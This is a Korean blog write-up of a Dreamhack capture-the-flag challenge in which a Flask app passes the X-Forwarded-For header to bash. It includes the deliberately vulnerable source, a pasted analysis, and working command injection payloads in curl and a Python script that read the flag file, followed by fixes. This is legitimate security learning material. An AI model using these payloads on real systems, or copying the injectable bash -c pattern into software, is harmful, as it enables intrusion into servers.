아닌데..나 192.168로 시작하는데..ㅋㅋㅋㅋ저거 누구아이핀교!
소스코드 보러가자
#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template
app = Flask(__name__)
app.secret_key = os.urandom(64)
@app.route('/')
def flag():
user_ip = request.access_route[0] if request.access_route else request.remote_addr
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
return render_template("ip.html", result=result.stdout)
except TimeoutExpired:
return render_template("ip.html", result="Timeout!")
app.run(host='0.0.0.0', port=3000)
이 Python 코드는 Flask 프레임워크를 사용한 간단한 웹 애플리케이션입니다. 사용자의 IP 주소를 받아 출력하는 기능을 제공합니다. 아래는 코드의 주요 부분에 대한 설명입니다.
1. 주요 구성 요소
(1) app.secret_key
- app.secret_key = os.urandom(64):
- Flask 애플리케이션의 보안 키를 설정.
- Flask 세션 데이터를 암호화하거나 보호하는 데 사용.
- os.urandom(64)를 통해 64바이트 길이의 임의 바이트 배열 생성.
(2) / 라우트
- 애플리케이션의 기본 URL(/)로 접속 시 flag 함수가 실행.
- 기능:
- 사용자의 IP 주소를 가져와 서버 명령어를 통해 출력.
2. flag 함수 동작
(1) 사용자 IP 가져오기
user_ip = request.access_route[0] if request.access_route else request.remote_addr
- request.access_route:
- 사용자의 실제 IP 주소를 추적(예: 프록시 뒤에 있는 클라이언트).
- request.remote_addr:
- 사용자의 직접적인 IP 주소.
- 이 코드로 사용자의 IP 주소를 user_ip 변수에 저장.
(2) 사용자 IP를 명령어로 출력
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
- 설명:
- subprocess.run을 사용해 /bin/bash에서 명령어를 실행.
- echo {user_ip}: 사용자 IP 주소를 출력.
- capture_output=True: 표준 출력과 표준 에러를 캡처.
- text=True: 결과를 문자열로 처리.
- timeout=3: 실행 시간이 3초를 초과하면 타임아웃 발생.
- 결과 처리:
- 명령어 실행 결과는 result.stdout에 저장.
- 성공적으로 실행되면 HTML 템플릿(ip.html)을 렌더링하며 result.stdout 내용을 삽입.
(3) 타임아웃 처리
except TimeoutExpired:
return render_template("ip.html", result="Timeout!")
- 명령어 실행이 3초를 초과하면 TimeoutExpired 예외 발생.
- 이 경우 Timeout! 메시지를 HTML 템플릿에 삽입하여 출력.
3. app.run 설정
app.run(host='0.0.0.0', port=3000)
- Flask 애플리케이션을 모든 네트워크 인터페이스에서 포트 3000으로 실행.
4. 보안 및 문제점
(1) 명령어 인젝션 가능성
- f"echo {user_ip}"는 사용자 IP 주소를 명령어로 직접 삽입.
- IP 주소가 악의적인 명령어로 변조되면 명령어 인젝션이 가능.
- 해결 방법:
- 사용자 입력을 명령어에 직접 포함하지 말고 안전한 방식으로 처리:
result = run(["/bin/echo", user_ip], capture_output=True, text=True, timeout=3)
- 사용자 입력을 명령어에 직접 포함하지 말고 안전한 방식으로 처리:
(2) HTML 템플릿 관리
- 템플릿(ip.html)이 코드에 포함되지 않았지만, 렌더링하려는 구조가 Flask 표준 HTML 템플릿을 따르는 것으로 가정.
- 적절한 HTML 엔코딩을 통해 XSS 공격 방지.
(3) 타임아웃 예외 처리
- 타임아웃 발생 시 추가적인 예외 로깅을 통해 문제 원인을 기록할 수 있음:
except TimeoutExpired as e: app.logger.error(f"Timeout occurred: {e}")
5. 요약
이 코드는 사용자 IP 주소를 출력하는 간단한 Flask 애플리케이션입니다.
주요 동작:
- 사용자 IP를 가져옴.
- /bin/bash 명령어를 실행하여 IP 주소를 출력.
- 명령어 실행 결과 또는 타임아웃 메시지를 HTML 템플릿에 렌더링.
보안상의 취약점:
- 명령어 인젝션 위험이 있음.
- 사용자 입력을 처리할 때 안전한 방법으로 수정이 필요.
이 Flask 애플리케이션에서 flag를 얻으려면, 취약점을 이용해야 합니다. 코드 분석 결과, 이 애플리케이션은 명령어 인젝션 취약점이 있습니다. 아래에 플래그를 얻는 절차를 설명합니다.
1. 취약점 분석
(1) 명령어 인젝션 가능
- 코드에서 subprocess.run은 사용자가 입력한 데이터를 명령어로 실행합니다:
result = run( ["/bin/bash", "-c", f"echo {user_ip}"], capture_output=True, text=True, timeout=3, )
- 여기서 user_ip는 사용자 입력(request.access_route 또는 request.remote_addr)으로 설정됩니다.
- 사용자 입력이 직접 명령어에 포함되므로, 특수 문자를 통해 명령어 인젝션이 가능합니다.
(2) 공격 가능 지점
- HTTP 요청의 X-Forwarded-For 헤더나 IP 주소를 조작하여 명령어를 삽입할 수 있습니다.
2. 공격 시나리오
- 목표: flag.txt 파일의 내용을 읽고 플래그를 출력.
- 방법:
- X-Forwarded-For 헤더에 명령어 인젝션을 포함.
- cat ./flag.txt 명령어를 실행하도록 유도.
3. 공격 명령어
HTTP 요청을 생성하며 X-Forwarded-For 헤더를 활용:
curl -H "X-Forwarded-For: 127.0.0.1; cat ./flag.txt" http://<target_ip>:3000/
명령어 구조
- 127.0.0.1: 정상적인 IP 주소처럼 보이도록 설정.
- ; cat ./flag.txt: 명령어 인젝션을 통해 flag.txt 파일을 출력.
예상 결과
- 명령어 인젝션이 성공하면, flag.txt 파일의 내용이 서버의 출력으로 반환됩니다.
4. 시뮬레이션
(1) Python으로 공격 코드 작성
import requests
url = "http://<target_ip>:3000/" # Flask 서버 URL
headers = {
"X-Forwarded-For": "127.0.0.1; cat ./flag.txt"
}
response = requests.get(url, headers=headers)
print(response.text) # 플래그 출력
(2) curl 명령어 사용
curl -H "X-Forwarded-For: 127.0.0.1; cat ./flag.txt" http://<target_ip>:3000/
5. 방어 방법
서버 관리자가 이 취약점을 방지하려면:
- 사용자 입력 검증:
- 입력값을 명령어에 직접 포함하지 말고 안전한 방법으로 처리.
result = run(["/bin/echo", user_ip], capture_output=True, text=True, timeout=3)
- 특수 문자 필터링:
- 입력값에서 특수 문자를 제거하거나 허용된 패턴만 허용.
- 명령어 실행 환경 격리:
- Docker 또는 가상 환경에서 명령어 실행.
결론
이 취약점은 X-Forwarded-For 헤더를 조작해 명령어 인젝션을 통해 플래그를 읽을 수 있습니다. 공격 명령어를 실행하여 플래그를 얻으세요. 😊
user_ip라는 변수에 내 아이피를 담고, echo 해주고 그걸 화면에 보여주고 있다. flag는 /flag에 위치하니 command injection을 통해 가져오면 된다.
할 건 내 ip 변조.. 근데 사실 ip변조는 앱 계층 단에서는 불가능하지만, 코드를 보면 request.access_route 라는 게 존재한다. 뭔가 싶어서 찾아보니
forwarded 헤더가 존재하면 client ip부터 마지막 proxy ip까지 배열로 담고 있는 놈이다. X-Forwarded-For 라는 헤더는 만약 http request가 프록시 서버를 거칠 경우 원래 요청 ip주소를 담고 있는 헤더이다. 이 헤더는 수동으로 설정해줘야 한다.
출처 ㅣhttps://tjrrb4551.tistory.com/entry/Dreamhack-what-is-my-ip-write-up
앱계층에서 ip변조가 불가능하지만 forwarded헤더가 존재하면 수동으로 변경 가능한가보다
최상단(/) 에는 flag라는 함수가 정의되어 있다.
request.access_route에서 첫 번째 요소를 user_ip라는 변수에 저장한다. 없으면 request.remote_addr 값을 저장한다.
request.access_route는 클라이언트가 서버에 접근하기 위해 거친 프록시 서버들의 IP주소 목록을 반환한다.
.
.
.
그렇게 access_route는 X-Forwareded-For 헤더를 가져오고,
여기서는 request.access_route[0]을 user_ip에 저장하므로 0번째인 클라이언트 IP가 저장될 것이다.
현재 문제의 소스코드는 request.access_route[0]를 user_ip 에 그대로 저장하고 있고,
검증을 하지 않은 채 ["/bin/bash", "-c", f"echo {user_ip}"] 를 실행시키는 모습을 볼 수 있다. (내가 뭘 넣을 줄 알고)
따라서 X-Forwarded-For 이라는 헤더를 추가해 cat /flag를 실행시킬 수 있는 명령을 집어넣으면 되겠다.
출처ㅣhttps://minnggyuu.tistory.com/12
와
드디어
버프수트
성공함
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
감격의 눈물 그 자체
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[86] IT 비전공자 [dreamhack]basic_heap_overflow문제 풀기 (1) | 2024.12.04 |
---|---|
[85] IT 비전공자 [dreamhack]random-test문제 풀기 (0) | 2024.12.03 |
[83] IT 비전공자 [dreamhack]BypassIF문제 풀기 (0) | 2024.12.01 |
[82] IT 비전공자 [dreamhack]memory_leakage문제 풀기 (0) | 2024.11.30 |
[81] IT 비전공자 [dreamhack]NoSQL-CouchDB문제 풀기 (0) | 2024.11.29 |